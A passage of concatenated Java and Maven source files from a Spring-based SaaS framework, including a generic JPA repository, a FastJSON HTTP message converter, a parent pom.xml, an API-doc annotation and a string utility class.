Locale locale = getLocale(request);
if(locale.equals(Locale.SIMPLIFIED_CHINESE))
return key+".cn";
return key;
}
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/dao/CommonRepositoryImpl.java
package com.zhjs.saas.core.dao;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.lang.reflect.ParameterizedType;
import java.lang.reflect.Type;
import java.util.List;
import java.util.Map;
import java.util.Map.Entry;
import javax.persistence.EntityManager;
import javax.persistence.Id;
import javax.sql.DataSource;
import org.hibernate.SessionFactory;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.beans.factory.ListableBeanFactory;
import org.springframework.data.jpa.repository.support.JpaEntityInformation;
import org.springframework.data.jpa.repository.support.JpaEntityInformationSupport;
import org.springframework.data.jpa.repository.support.SimpleJpaRepository;
import org.springframework.jdbc.core.BeanPropertyRowMapper;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.jdbc.core.namedparam.BeanPropertySqlParameterSource;
import org.springframework.orm.hibernate5.HibernateTemplate;
import org.springframework.transaction.annotation.Transactional;
import com.zhjs.saas.core.dao.sql.SQLBuilder;
import com.zhjs.saas.core.pojo.BaseObject;
import com.zhjs.saas.core.util.AopUtil;
import com.zhjs.saas.core.util.Assert;
/**
*
* @author: <NAME>
* @since: 2017-10-05
* @modified: 2017-10-05
* @version:
*/
public class CommonRepositoryImpl<T extends BaseObject, ID extends Serializable>
extends SimpleJpaRepository<T, ID> implements CommonRepository<T, ID>
{
private JdbcTemplate jdbcTemplate;
private CommonNamedParameterJdbcTemplate namedJdbcTemplate;
private HibernateTemplate hibernateTemplate;
private EntityManager em;
private BeanFactory beanFactory;
protected void initJdbcTemplate()
{
DataSource ds = beanFactory.getBean(DataSource.class);
Assert.notNull(ds, "DataSource must not be null");
this.jdbcTemplate = new JdbcTemplate(ds);
this.namedJdbcTemplate = new CommonNamedParameterJdbcTemplate(this.jdbcTemplate);
}
/**
* Create a HibernateTemplate for the given SessionFactory.
* Only invoked if populating the DAO with a SessionFactory reference!
* <p>Can be overridden in subclasses to provide a HibernateTemplate instance
* with different configuration, or a custom HibernateTemplate subclass.
* @param sessionFactory the Hibernate SessionFactory to create a HibernateTemplate for
* @return the new HibernateTemplate instance
* @see #setSessionFactory
*/
protected void initHibernateTemplate() {
this.hibernateTemplate = new HibernateTemplate(beanFactory.getBean(SessionFactory.class));
}
/**
* Return the HibernateTemplate for this DAO,
* pre-initialized with the sessionFactory or set explicitly.
*/
public HibernateTemplate getHibernateTemplate() {
return this.hibernateTemplate;
}
/**
* Return the JdbcTemplate for this DAO,
* pre-initialized with the DataSource or set explicitly.
*/
public JdbcTemplate getJdbcTemplate() {
return this.jdbcTemplate;
}
/**
* @return the namedJdbcTemplate
*/
public CommonNamedParameterJdbcTemplate getNamedJdbcTemplate() {
return namedJdbcTemplate;
}
/**
* Creates a new {@link SimpleJpaRepository} to manage objects of the given {@link JpaEntityInformation}.
*
* @param entityInformation must not be {@literal null}.
* @param entityManager must not be {@literal null}.
*/
public CommonRepositoryImpl(JpaEntityInformation<T, ID> entityInformation, EntityManager entityManager, BeanFactory beanFactory) {
super(entityInformation, entityManager);
this.em = entityManager;
this.beanFactory = beanFactory;
initJdbcTemplate();
initHibernateTemplate();
}
/**
* Creates a new {@link CommonRepositoryImpl} to manage objects of the given domain type.
*
* @param domainClass must not be {@literal null}.
* @param em must not be {@literal null}.
*/
public CommonRepositoryImpl(Class<T> domainClass, EntityManager entityManager) {
super(JpaEntityInformationSupport.getEntityInformation(domainClass, entityManager), entityManager);
this.em = entityManager;
initJdbcTemplate();
}
public T get(ID id) {
T t = super.findOne(id);
//this.getHibernateTemplate().getSessionFactory().getCurrentSession().evict(t);
if(t!=null)
this.em.detach(t);
return t;
}
@Transactional
public <S extends T> S persistAndFlush(S entity) {
entity = super.saveAndFlush(entity);
return entity;
}
@Transactional
public <S extends T> S persist(S entity) {
entity = super.save(entity);
return entity;
}
@Override
@Transactional
public <S extends T> S save(S entity) {
entity = super.save(entity);
// if(entity!=null)
// this.em.detach(entity);
return entity;
}
@Override
@Transactional
public <S extends T> S saveAndFlush(S entity) {
entity = super.saveAndFlush(entity);
//this.getHibernateTemplate().evict(entity);
if(entity!=null)
this.em.detach(entity);
return entity;
}
@Override
public <E extends BaseObject> List<E> queryScript(SQLBuilder builder, Class<E> classType, Object paramObject)
{
return this.getNamedJdbcTemplate().query(builder.toSQL(), new BeanPropertySqlParameterSource(paramObject), new BeanPropertyRowMapper<E>(classType));
}
@SuppressWarnings({ "rawtypes", "unchecked" })
public <R extends CommonRepository<O,KEY>, O extends BaseObject, KEY extends Serializable> R commonDao(Class<O> type, Class<KEY> keyType)
{
R r = null;
Map<String,CommonRepository> beans = ((ListableBeanFactory)beanFactory).getBeansOfType(CommonRepository.class);
for(Entry<String,CommonRepository> entry : beans.entrySet())
{
AdvisedSupport advised = AopUtil.getAdvised(entry.getValue());
Type t = ((ParameterizedType)advised.getProxiedInterfaces()[0].getGenericInterfaces()[0]).getActualTypeArguments()[0];
if(type.equals(t))
r = (R)entry.getValue();
}
Assert.notNull(r, "Can't find any repository interface class for "+type.getName());
return r;
}
@SuppressWarnings("unchecked")
public <R extends CommonRepository<O,?>, O extends BaseObject> R commonDao(Class<O> type)
{
Class<?> keyClass = String.class;
Field[] fields = type.getDeclaredFields();
for(Field field : fields)
{
if(field.isAnnotationPresent(Id.class))
{
keyClass = field.getType();
break;
}
}
R r = (R)commonDao(type, (Class<Serializable>)keyClass);
Assert.notNull(r, "Can't find any repository interface class for "+type.getName());
return r;
}
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/web/ServiceTemplateConverter.java
package com.zhjs.saas.core.web;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import org.springframework.http.HttpInputMessage;
import org.springframework.http.HttpOutputMessage;
import org.springframework.http.MediaType;
import org.springframework.http.converter.HttpMessageNotReadableException;
import org.springframework.http.converter.HttpMessageNotWritableException;
import com.alibaba.fastjson.JSONException;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.alibaba.fastjson.support.config.FastJsonConfig;
import com.alibaba.fastjson.support.spring.FastJsonHttpMessageConverter;
import com.zhjs.saas.core.exception.ExceptionResponse;
import com.zhjs.saas.core.util.StringUtil;
/**
*
* @author: <NAME>
* @since: 2017-12-19
* @modified: 2017-12-19
* @version:
*/
public class ServiceTemplateConverter extends FastJsonHttpMessageConverter
{
public ServiceTemplateConverter(String dateFormat)
{
FastJsonConfig config = new FastJsonConfig();
config.setSerializerFeatures(SerializerFeature.PrettyFormat,
SerializerFeature.WriteDateUseDateFormat,
SerializerFeature.DisableCircularReferenceDetect);
if(StringUtil.isNotBlank(dateFormat))
config.setDateFormat(dateFormat);
this.setFastJsonConfig(config);
this.setSupportedMediaTypes(initMediaType());
}
@Override
protected boolean supports(Class<?> paramClass) {
return true;
}
@Override
protected Object readInternal(Class<? extends Object> clazz, HttpInputMessage inputMessage)
throws IOException, HttpMessageNotReadableException
{
FastJsonConfig config = this.getFastJsonConfig();
try {
if(clazz.isAssignableFrom(CommonResponse.class))
return super.readInternal(clazz, inputMessage);
String json = StringUtil.copyToString(inputMessage.getBody(), config.getCharset());
JSONObject response = JSONObject.parseObject(json, config.getFeatures());
if(response.getBoolean("success"))
return response.getObject("data", clazz);
return response.toJavaObject(ExceptionResponse.class);
} catch (JSONException ex) {
throw new HttpMessageNotReadableException("JSON parse error: " + ex.getMessage(), ex);
} catch (IOException ex) {
throw new HttpMessageNotReadableException("I/O error while reading input message", ex);
}
}
@Override
protected void writeInternal(Object obj, HttpOutputMessage outputMessage)
throws IOException, HttpMessageNotWritableException
{
super.writeInternal(obj, outputMessage);
}
protected List<MediaType> initMediaType()
{
List<MediaType> supportedMediaTypes = new ArrayList<>();
supportedMediaTypes.add(MediaType.APPLICATION_JSON);
supportedMediaTypes.add(MediaType.APPLICATION_JSON_UTF8);
supportedMediaTypes.add(MediaType.APPLICATION_ATOM_XML);
supportedMediaTypes.add(MediaType.APPLICATION_FORM_URLENCODED);
supportedMediaTypes.add(MediaType.APPLICATION_OCTET_STREAM);
supportedMediaTypes.add(MediaType.APPLICATION_PDF);
supportedMediaTypes.add(MediaType.APPLICATION_RSS_XML);
supportedMediaTypes.add(MediaType.APPLICATION_XHTML_XML);
supportedMediaTypes.add(MediaType.APPLICATION_XML);
supportedMediaTypes.add(MediaType.IMAGE_GIF);
supportedMediaTypes.add(MediaType.IMAGE_JPEG);
supportedMediaTypes.add(MediaType.IMAGE_PNG);
supportedMediaTypes.add(MediaType.TEXT_EVENT_STREAM);
supportedMediaTypes.add(MediaType.TEXT_HTML);
supportedMediaTypes.add(MediaType.TEXT_MARKDOWN);
supportedMediaTypes.add(MediaType.TEXT_PLAIN);
supportedMediaTypes.add(MediaType.TEXT_XML);
return supportedMediaTypes;
}
}
<file_sep>/saas-parent/pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.zhjs</groupId>
<artifactId>saas-parent</artifactId>
<version>0.0.1-SNAPSHOT</version>
<packaging>pom</packaging>
<name>${project.artifactId}</name>
<description>Parent pom project for all saas-framework sub module projects</description>
<developers>
<developer>
<name><NAME></name>
<email />
<organization>Technology Department</organization>
<organizationUrl>http://www.zhihuijianshe.com</organizationUrl>
<roles>
<role>Platform Tech Architect</role>
</roles>
</developer>
</developers>
<profiles>
<profile>
<id>dev</id>
<properties>
<profiles.active>dev</profiles.active>
</properties>
<activation>
<activeByDefault>true</activeByDefault>
</activation>
</profile>
<profile>
<id>prd</id>
<properties>
<profiles.active>prd</profiles.active>
</properties>
</profile>
<profile>
<id>uat</id>
<properties>
<profiles.active>uat</profiles.active>
</properties>
</profile>
<profile>
<id>sit</id>
<properties>
<profiles.active>sit</profiles.active>
</properties>
</profile>
</profiles>
<properties>
<argLine>-Dfile.encoding=UTF-8</argLine>
<java.version>1.8</java.version>
<maven.version.range>[3.0.4,)</maven.version.range>
<maven-compiler-plugin.version>3.7.0</maven-compiler-plugin.version>
<maven-jar-plugin.version>3.0.2</maven-jar-plugin.version>
<maven-war-plugin.version>3.2.0</maven-war-plugin.version>
<maven-sources-plugin.version>3.0.1</maven-sources-plugin.version>
<maven-resources-plugin.version>3.0.2</maven-resources-plugin.version>
<exec-maven-plugin.version>1.6.0</exec-maven-plugin.version>
<maven.async-install-api>true</maven.async-install-api>
<build-helper-maven-plugin.version>3.0.0</build-helper-maven-plugin.version>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.encoding>UTF-8</maven.compiler.encoding>
<plexus-compiler-eclipse.version>2.8.2</plexus-compiler-eclipse.version>
<resources.delimiter>@</resources.delimiter>
<lombok.version>1.16.20</lombok.version>
<springframework.boot.version>1.5.13.RELEASE</springframework.boot.version>
<saas.framework.version>0.0.1-SNAPSHOT</saas.framework.version>
<springframework.boot.admin.version>1.5.6</springframework.boot.admin.version>
<swagger2.version>2.8.0</swagger2.version>
<swagger2-ui.version>0.0.4</swagger2-ui.version>
<elastic-job.version>2.1.5</elastic-job.version>
<zookeeper.version>3.5.2-alpha</zookeeper.version>
<druid.version>1.0.31</druid.version>
<mysql-connector.version>6.0.6</mysql-connector.version>
<pgsql.version>42.2.2</pgsql.version>
<dockerfile.maven.plugin>1.3.6</dockerfile.maven.plugin>
</properties>
<dependencyManagement>
<dependencies>
<dependency>
<groupId>com.zhjs</groupId>
<artifactId>saas-dependencies</artifactId>
<version>${saas.framework.version}</version>
<type>pom</type>
<scope>import</scope>
</dependency>
</dependencies>
</dependencyManagement>
<dependencies>
<dependency>
<groupId>com.zhjs</groupId>
<artifactId>saas-quark</artifactId>
</dependency>
<dependency>
<groupId>com.zhjs</groupId>
<artifactId>saas-security</artifactId>
</dependency>
<dependency>
<groupId>com.zhjs</groupId>
<artifactId>saas-api-doc</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<!-- <dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-eureka</artifactId>
</dependency>
<dependency>
<groupId>de.codecentric</groupId>
<artifactId>spring-boot-admin-starter-client</artifactId>
<version>${springframework.boot.admin.version}</version>
</dependency> -->
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<version>${lombok.version}</version><!--$NO-MVN-MAN-VER$-->
<scope>provided</scope>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>${pgsql.version}</version><!--$NO-MVN-MAN-VER$-->
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>druid</artifactId>
<version>${druid.version}</version>
</dependency>
</dependencies>
<build>
<resources>
<resource>
<directory>src/main/resources</directory>
<excludes>
<exclude>**/application*.properties</exclude>
<exclude>**/saas*.properties</exclude>
<exclude>**/application*.yaml</exclude>
<exclude>**/saas*.yaml</exclude>
</excludes>
</resource>
<resource>
<directory>src/main/resources</directory>
<filtering>true</filtering>
<includes>
<include>application.properties</include>
<include>application-${profiles.active}.properties</include>
<include>saas-${profiles.active}.properties</include>
<include>application.yaml</include>
<include>application-${profiles.active}.yaml</include>
<include>saas-${profiles.active}.yaml</include>
</includes>
</resource>
</resources>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>${maven-compiler-plugin.version}</version>
<configuration>
<source>${java.version}</source>
<target>${java.version}</target>
<testSource>${java.version}</testSource>
<testTarget>${java.version}</testTarget>
<optimize>true</optimize>
<encoding>${project.build.sourceEncoding}</encoding>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-resources-plugin</artifactId>
<version>${maven-resources-plugin.version}</version>
<configuration>
<delimiters>
<delimiter>${resources.delimiter}</delimiter>
</delimiters>
<useDefaultDelimiters>false</useDefaultDelimiters>
<encoding>${project.build.sourceEncoding}</encoding>
<nonFilteredFileExtensions>
<nonFilteredFileExtension>woff</nonFilteredFileExtension>
<nonFilteredFileExtension>woff2</nonFilteredFileExtension>
<nonFilteredFileExtension>eot</nonFilteredFileExtension>
<nonFilteredFileExtension>ttf</nonFilteredFileExtension>
<nonFilteredFileExtension>svg</nonFilteredFileExtension>
</nonFilteredFileExtensions>
</configuration>
</plugin>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>build-helper-maven-plugin</artifactId>
<version>${build-helper-maven-plugin.version}</version>
<executions>
<execution>
<id>add-source</id>
<phase>generate-sources</phase>
<goals>
<goal>add-source</goal>
</goals>
<configuration>
<sources>
<source>src/main/api</source>
</sources>
</configuration>
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<version>${springframework.boot.version}</version>
<configuration>
<executable>true</executable>
<layout>ZIP</layout>
<includes>
<include>
<groupId>nothing</groupId>
<artifactId>nothing</artifactId>
</include>
</includes>
<excludeGroupIds>
<!-- 打印 groupId -->
<!-- mvn dependency:tree|grep -e "compile" -e "runtime"|sed 's/|//g'|sed 's/+//g'|awk '{print $3}'|awk -F ":" '{print $1,","}'|sort|uniq|grep -vE "(com.****|common-)"|xargs -->
</excludeGroupIds>
</configuration>
<executions>
<execution>
<goals>
<goal>repackage</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
<pluginManagement>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>${maven-jar-plugin.version}</version>
<executions>
<execution>
<id>api-package</id>
<goals>
<goal>jar</goal>
</goals>
<phase>package</phase>
<configuration>
<classifier>api</classifier>
<includes>
<include>com/zhjs/**/api/**</include>
</includes>
</configuration>
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>exec-maven-plugin</artifactId>
<version>${exec-maven-plugin.version}</version>
<executions>
<execution>
<id>api-install</id>
<phase>package</phase>
<goals>
<goal>exec</goal>
</goals>
<configuration>
<!-- <async>${maven.async-install-api}</async> -->
<executable>mvn</executable>
<arguments>
<argument>install:install-file</argument>
<argument>-Dpackaging=jar</argument>
<argument>-DartifactId=${project.artifactId}-api</argument>
<argument>-DgroupId=${project.groupId}</argument>
<argument>-Dversion=${project.version}</argument>
<argument>-Dfile=${project.build.directory}/${project.artifactId}-${project.version}-api.jar</argument>
</arguments>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</pluginManagement>
</build>
</project><file_sep>/saas-api-doc/src/main/java/com/zhjs/saas/api/doc/annotation/ApiParam.java
package com.zhjs.saas.api.doc.annotation;
import static java.lang.annotation.ElementType.METHOD;
import static java.lang.annotation.ElementType.TYPE;
import static java.lang.annotation.RetentionPolicy.RUNTIME;
import java.lang.annotation.Documented;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
/**
*
* @author: <NAME>
* @since: 2018-05-16
* @modified: 2018-05-16
* @version:
*/
@Documented
@Retention(RUNTIME)
@Target({ TYPE, METHOD })
public @interface ApiParam
{
/**
* api request parameter name
*/
String name() default "";
/**
* coordinate if it is required
*/
boolean required() default false;
/**
* field default value, only effects as request parameter
*/
String defaultValue() default "";
/**
* field data type, only effects as request parameter
*/
String dataType() default "String";
/**
* description of the API parameter
*/
String description() default "";
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/util/StringUtil.java
package com.zhjs.saas.core.util;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.math.BigDecimal;
import java.nio.charset.Charset;
import java.text.BreakIterator;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collection;
import java.util.Collections;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashMap;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.SortedMap;
import java.util.StringTokenizer;
import java.util.TreeMap;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.math.NumberUtils;
import org.springframework.util.ObjectUtils;
/**
* @author: <NAME>
* @since: 2017-05-10
* @modified: 2017-05-10
* @version:
*/
@SuppressWarnings({ "unchecked", "rawtypes" })
public abstract class StringUtil extends StringUtils
{
/**
* Private constructor to prevent instantiation.
*/
private StringUtil(){}
public final static char[] metacharacters = { '\\', '[', ']', '(', ')', '{', '}', '-', '^', '$', '.', '?', '*', '+',
'|' };
public final static char DELIMITER = '|';
public final static String Delimiter = "|";
/**
* check if it is a valid mobile number format
*/
private final static String MobileNumber = "^((13[0-9])|(14[5,7,9])|(15([0-3]|[5-9]))|(166)|(17[0,1,3,5,6,7,8])|(18[0-9])|(19[8|9]))\\d{8}$";
private final static Pattern pattern = Pattern.compile(MobileNumber);
public static boolean isMobileNumer(String mobile)
{
return pattern.matcher(mobile).matches();
}
public static String encodeMetacharacter(String s)
{
if (isNotBlank(s))
{
for (int i = 0; i < metacharacters.length; i++)
{
char c = metacharacters[i];
if (c == '\\')
s = replace(s, String.valueOf(c), "\\\\");
else
s = replace(s, String.valueOf(c), "\\Q" + c + "\\E");
}
}
return s;
}
public static boolean containChinese(String str)
{
Pattern p = Pattern.compile("[\u4e00-\u9fcc]");
Matcher m = p.matcher(str);
if (m.find())
{
return true;
}
return false;
}
public static boolean isChinese(char c) {
Character.UnicodeScript sc = Character.UnicodeScript.of(c);
if (sc == Character.UnicodeScript.HAN) {
return true;
}
return false;
}
public static String filterChinese(String str)
{
// 用于返回结果
String result = str;
boolean flag = containChinese(str);
if (flag)
{// 包含中文
// 用于拼接过滤中文后的字符
StringBuffer sb = new StringBuffer();
// 用于校验是否为中文
boolean flag2 = false;
// 用于临时存储单字符
char chinese = 0;
// 5.去除掉文件名中的中文
// 将字符串转换成char[]
char[] charArray = str.toCharArray();
// 过滤到中文及中文字符
for (int i = 0; i < charArray.length; i++)
{
chinese = charArray[i];
flag2 = isChinese(chinese);
if (!flag2)
{// 不是中日韩文字及标点符号
sb.append(chinese);
}
}
result = sb.toString();
}
return result;
}
/**
* 匹配是否为数字
* @param str 可能为中文,也可能是-19162431.1254,不使用BigDecimal的话,变成-1.91624311254E7
* @return
* @author yutao
* @date 2017年11月14日下午7:41:22
*/
public static boolean isNumeric(String str) {
// 该正则表达式可以匹配所有的数字 包括负数
Pattern pattern = Pattern.compile("-?[0-9]+\\.?[0-9]*");
String bigStr;
try {
bigStr = new BigDecimal(str).toString();
} catch (Exception e) {
return false;//异常 说明包含非数字。
}
Matcher isNum = pattern.matcher(bigStr); // matcher是全匹配
if (!isNum.matches()) {
return false;
}
return true;
}
public static void main(String[] args)
{
//System.out.println(isNumeric("-19162431.1254"));
/*
//System.out.println(escapeXml("kisdfj '<>lsdkfsd\n"));
Arrays.asList(splitWithNull("s | as", '|')).forEach(System.out::println);
splitAsListWithMap(
":Currency|USD:USD|GBP:GBP|RMB:RMB|EUR:EUR|AUD:AUD|CAD:CAD|CHF:CHF|JPY:JPY|HKD:HKD|NZD:NZD|SGD:SGD|NTD:NTD|Other:Other");
*/
System.out.println(isMobileNumer("13448887777"));
}
public static String copyToString(InputStream in, Charset charset) throws IOException
{
if (in == null)
{
return "";
}
StringBuilder out = new StringBuilder();
InputStreamReader reader = new InputStreamReader(in, charset);
char[] buffer = new char[4096];
int bytesRead = -1;
while ((bytesRead = reader.read(buffer)) != -1)
{
out.append(buffer, 0, bytesRead);
}
return out.toString();
}
/**
* Convenience method to return a String array as a '|' delimited
*
* @param arr
* the array to display
* @return the delimited String
*/
public static String gmArrayToString(Object[] arr)
{
return arrayToDelimitedString(arr, DELIMITER);
}
/**
* Convenience method to return a String array as a delimited (e.g. CSV)
* String. E.g. useful for <code>toString()</code> implementations.
*
* @param arr
* the array to display
* @param delimiter
* the delimiter to use (probably a ",")
* @return the delimited String
*/
public static String arrayToDelimitedString(Object[] arr, char delimiter)
{
if (ObjectUtils.isEmpty(arr))
{
return "";
}
StringBuffer sb = new StringBuffer();
for (int i = 0; i < arr.length; i++)
{
if (i > 0)
{
sb.append(delimiter);
}
sb.append(arr[i]);
}
return sb.toString();
}
public static List<KeyValue> splitAsList(String source)
{
List<KeyValue> list = new ArrayList<KeyValue>();
if (!isEmpty(source))
{
String[] oneD = split(source, DELIMITER);
if (oneD != null)
{
for (int i = 0; i < oneD.length; i++)
{
String[] twoD = split(oneD[i], ':');
if (twoD != null && twoD.length == 2)
{
KeyValue obj = new KeyValue();
obj.setKey(twoD[0]);
obj.setValue(twoD[1]);
list.add(obj);
}
}
}
}
return list;
}
/**
*
* @param source
* @return List<Map<String,String>>
*/
public static List<Map<String, String>> splitAsListWithMap(String source)
{
List<Map<String, String>> list = new ArrayList<Map<String, String>>();
if (!isEmpty(source))
{
String[] oneD = split(source, DELIMITER);
if (oneD != null)
{
for (int i = 0; i < oneD.length; i++)
{
String[] twoD = splitPreserveAllTokens(oneD[i], ':');
if (twoD != null && twoD.length == 2)
{
Map<String, String> map = new HashMap<String, String>();
map.put("key", twoD[0]);
map.put("value", twoD[1]);
list.add(map);
}
}
}
}
return list;
}
// paser - replace all tag w/- tostr in str
public static String parser(String str, String tag, String tostr)
{
if (str == null || str.indexOf(tag) == -1)
{
return str;
}
if (tag.equals(tostr))
{
return str;
}
StringBuffer temp = new StringBuffer("");
int taglen = tag.length();
int lastPos = 0;
int pos = str.indexOf(tag);
while (pos != -1)
{
temp.append(str.substring(lastPos, pos)).append(tostr);
lastPos = pos + taglen;
pos = str.indexOf(tag, lastPos);
}
temp.append(str.substring(lastPos));
return temp.toString();
}
/**
* perform the logic for the split. as we set the preserveAllTokens flag
* false, there for we wont keep the null tokens. e.g.
* StringUtils.splitAsList("a..b.c", '.') = ["a", "b", "c"]
*
* @param str
* the String to parse, may be <code>null</code>
* @param separatorChar
* the separate character preserveAllTokens if <code>true</code>,
* adjacent separators are treated as empty token separators; if
* <code>false</code>, adjacent separators are treated as one
* separator.
* @return a list of parsed Strings, <code>null</code> if null String input
*/
public static List<String> splitAsList(String str, char separatorChar)
{
boolean preserveAllTokens = false;
if (str == null)
{
return null;
}
int len = str.length();
if (len == 0)
{
return null;
}
List<String> list = new ArrayList<String>();
int i = 0, start = 0;
boolean match = false;
boolean lastMatch = false;
while (i < len)
{
if (str.charAt(i) == separatorChar)
{
if (match || preserveAllTokens)
{
list.add(str.substring(start, i));
match = false;
lastMatch = true;
}
start = ++i;
continue;
}
lastMatch = false;
match = true;
i++;
}
if (match || (preserveAllTokens && lastMatch))
{
list.add(str.substring(start, i));
}
return list;
}
/**
* transfer a list to String as "id1|id2|id3|id4"
*
* @param source
* List<Long>
*
* @return String : "id1|id2|id3|id4...idn"
*
*/
public static String seperatedListToString(List<Long> list)
{
StringBuilder sb = new StringBuilder();
if (list != null && list.size() > 0)
{
for (Long id : list)
{
sb.append(id.toString());
sb.append(DELIMITER);
}
sb.deleteCharAt(sb.length() - 1);// remove last "|"
}
return sb.toString();
}
/**
* split a String as "id1|id2|id3|id4" into a List<Long> whose elements is
* Long
*
* @param source
* String : "id1|id2|id3|id4...idn"
* @return List List<Long>
*
* @author ben
* @modified Jackie
*/
public static List<Long> splitAsIDList(String source)
{
List<Long> idList = new ArrayList<Long>();
if (!isEmpty(source))
{
String[] array = split(source, DELIMITER);
if (array != null)
{
for (int i = 0; i < array.length; i++)
{
Long id = NumberUtils.createLong(array[i]);
idList.add(id);
}
}
}
return idList;
}
/**
* split a String as "id1|id2|id3|id4" into a List<Long> whose elements is
* Long
*
* @param source
* String : "id1|id2|id3|id4...idn"
* @return List List<Long>
*
* @author ben
* @modified Jackie
*/
public static List<Long> splitAsIDList(String source, char separatorChar)
{
List<Long> idList = new ArrayList<Long>();
if (!isEmpty(source))
{
String[] array = split(source, separatorChar);
if (array != null)
{
for (int i = 0; i < array.length; i++)
{
Long id = NumberUtils.createLong(array[i]);
idList.add(id);
}
}
}
return idList;
}
/**
*
* transfer a String array into a List<Long> whose elements is Long
*
* @param source
* String[] : { "id1", "id2", "id3", "id4"}
* @return List List<Long>
*
* @author ben
*/
public static List transferIntoIDList(String[] arrayID)
{
if (arrayID == null || arrayID.length < 1)
{
return null;
}
List idList = new ArrayList(arrayID.length);
for (int i = 0; i < arrayID.length; i++)
{
Long id = NumberUtils.createLong(arrayID[i]);
idList.add(id);
}
return idList;
}
/**
*
* split a String as "id1|id2|id3|id4" into a List<Integer> whose elements
* is Integer
*
* @param source
* String : "id1|id2|id3|id4...idn"
* @return List List<Integer>
*
* @author ben
* @modified Jackie
*/
public static List splitAsIntList(String source)
{
List idList = new ArrayList();
if (!isEmpty(source))
{
String[] array = split(source, DELIMITER);
if (array != null)
{
for (int i = 0; i < array.length; i++)
{
Integer id = NumberUtils.createInteger(array[i]);
idList.add(id);
}
}
}
return idList;
}
/**
*
* split a String as "key1|key2|key3|key4" , then build a Map as
* "<id1,Boolean.True>, <id2,Boolean.True>...", for the use of Checkbox
* group loading.(indicated which are selected.)
*
* @param source
* String : "id1|id2|id3|id4...idn"
* @return Map Map<String, Boolean.TRUE>
*
* @author ben
*/
public static Map<String, Boolean> splitAsSelectedMap(String source)
{
Map<String, Boolean> map = new HashMap<String, Boolean>();
if (!isEmpty(source))
{
String[] array = split(source, DELIMITER);
if (array != null)
{
for (int i = 0; i < array.length; i++)
{
map.put(array[i], Boolean.TRUE);
}
}
}
return map;
}
/**
*
* split a string as 2D arrary DB references: buying.lead.preference=\
* 1:Allow all members to send reply to me\ |2:Only Paid / Trust members can
* send reply to me\ |3:Only Paid members can send reply to me
*
*
* @param source
* String : "key1:value1|key2:value2|key3:value3...|keyn:valuen"
* @return Map map
* @author ben
*/
public static Map<String, String> splitAsMap(String source)
{
SortedMap<String, String> map = new TreeMap<String, String>();
if (!isEmpty(source))
{
String[] oneD = split(source, DELIMITER);
if (oneD != null)
{
for (int i = 0; i < oneD.length; i++)
{
String[] twoD = split(oneD[i], ':');
if (twoD != null && twoD.length == 2)
{
map.put(twoD[0], twoD[1]);
}
}
}
}
return map;
}
/**
* Tokenize the given String into a String array via a StringTokenizer.
* Trims tokens and omits empty tokens.
* <p>
* The given delimiters string is supposed to consist of any number of
* delimiter characters. Each of those characters can be used to separate
* tokens. A delimiter is always a single character; for multi-character
* delimiters, consider using <code>delimitedListToStringArray</code>
*
* @param str
* the String to tokenize
* @param delimiters
* the delimiter characters, assembled as String (each of those
* characters is individually considered as delimiter).
* @return an array of the tokens
* @see java.util.StringTokenizer
* @see java.lang.String#trim()
* @see #delimitedListToStringArray
*/
public static String[] tokenizeToStringArray(String str, String delimiters)
{
return tokenizeToStringArray(str, delimiters, true, true);
}
/**
* Trim leading whitespace from the given String.
*
* @param str
* the String to check
* @return the trimmed String
* @see java.lang.Character#isWhitespace
*/
public static String trimLeadingWhitespace(String str)
{
if (isNotEmpty(str))
{
return str;
}
StringBuffer buf = new StringBuffer(str);
while (buf.length() > 0 && (Character.isWhitespace(buf.charAt(0)) || (int) buf.charAt(0) == 160))
{
buf.deleteCharAt(0);
}
return buf.toString();
}
/**
* Trim all occurences of the supplied leading character from the given
* String.
*
* @param str
* the String to check
* @param leadingCharacter
* the leading character to be trimmed
* @return the trimmed String
*/
public static String trimLeadingCharacter(String str, char leadingCharacter)
{
if (isNotEmpty(str))
{
return str;
}
StringBuffer buf = new StringBuffer(str);
while (buf.length() > 0 && buf.charAt(0) == leadingCharacter)
{
